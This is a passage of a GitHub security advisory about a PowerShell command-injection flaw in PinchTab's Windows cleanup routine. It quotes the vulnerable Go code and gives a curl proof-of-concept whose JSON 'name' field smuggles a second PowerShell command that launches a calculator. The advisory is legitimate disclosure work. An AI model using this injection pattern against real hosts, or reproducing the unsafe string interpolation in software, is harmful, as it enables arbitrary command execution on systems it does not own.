GitHub Security Advisory: GHSA-p8mm-644p-phmh
Package: github.com/pinchtab/pinchtab/cmd/pinchtab (GO)
Severity: MODERATE (CVSS 6.7)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: <= 0.8.4
Patched in: 0.8.5

Summary: PinchTab: OS Command Injection via Profile Name in Windows Cleanup Routine Enables Arbitrary Command Execution

Details:
### Summary
PinchTab `v0.8.4` contains a Windows-only command injection issue in the orphaned Chrome cleanup path. When an instance is stopped, the Windows cleanup routine builds a PowerShell `-Command` string using a `needle` derived from the profile path. In `v0.8.4`, that string interpolation escapes backslashes but does not safely neutralize other PowerShell metacharacters.

If an attacker can launch an instance using a crafted profile name and then trigger the cleanup path, they may be able to execute arbitrary PowerShell commands on the Windows host in the security context of the PinchTab process user.

This is not an unauthenticated internet RCE. It requires authenticated, administrative-equivalent API access to instance lifecycle endpoints, and the resulting command execution inherits the permissions of the PinchTab OS user rather than bypassing host privilege boundaries.

### Details
**Issue 1 — PowerShell command string built with interpolated user-influenced data (`internal/bridge/cleanup_windows.go` in `v0.8.4`):**

```
func findPIDsByPowerShell(needle string) []int {
    escaped := strings.ReplaceAll(needle, `\`, `\\`)
    cmd := exec.Command("powershell", "-NoProfile", "-Command",
        fmt.Sprintf(`Get-CimInstance Win32_Process -Filter "Name='chrome.exe'" | `+
            `Where-Object { $_.CommandLine -like '*%s*' } | `+
            `Select-Object -ExpandProperty ProcessId`, escaped))
}
```

The `needle` value is interpolated directly into a PowerShell command string. Escaping backslashes alone is not sufficient to make arbitrary user-controlled content safe inside a PowerShell expression.

**Issue 2 — `needle` is derived from launchable profile names:**

The cleanup path uses:

```
findPIDsByPowerShell(fmt.Sprintf("--user-data-dir=%s", profileDir))
```

The profile directory is derived from the instance/profile name used during launch. In `v0.8.4`, profile name validation rejected path traversal characters such as `/`, `\`, and `..`, but it did not comprehensively block PowerShell metacharacters such as single quotes or statement separators.

**Issue 3 — Trigger path is reachable through normal instance lifecycle APIs:**

The attack path described in the report uses:

1. `POST /instances/launch` with a crafted `name`
2. `POST /instances/{id}/stop` to trigger the cleanup routine

That means exploitability depends on access to privileged orchestration endpoints, not on local shell access.

### PoC
**Environment assumptions**

- PinchTab `v0.8.4`
- Windows host
- Valid API token with access to instance lifecycle endpoints

**Example sequence**

```bash
curl -X POST http://HOST:9867/instances/launch \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "poc'\''; Start-Process calc; $x='\''",
    "mode": "headless"
  }'
```

Then:

```bash
curl -X POST http://HOST:9867/instances/<INSTANCE_ID>/stop \
  -H "Authorization: Bearer <TOKEN>"
```

If the payload survives the launch path and re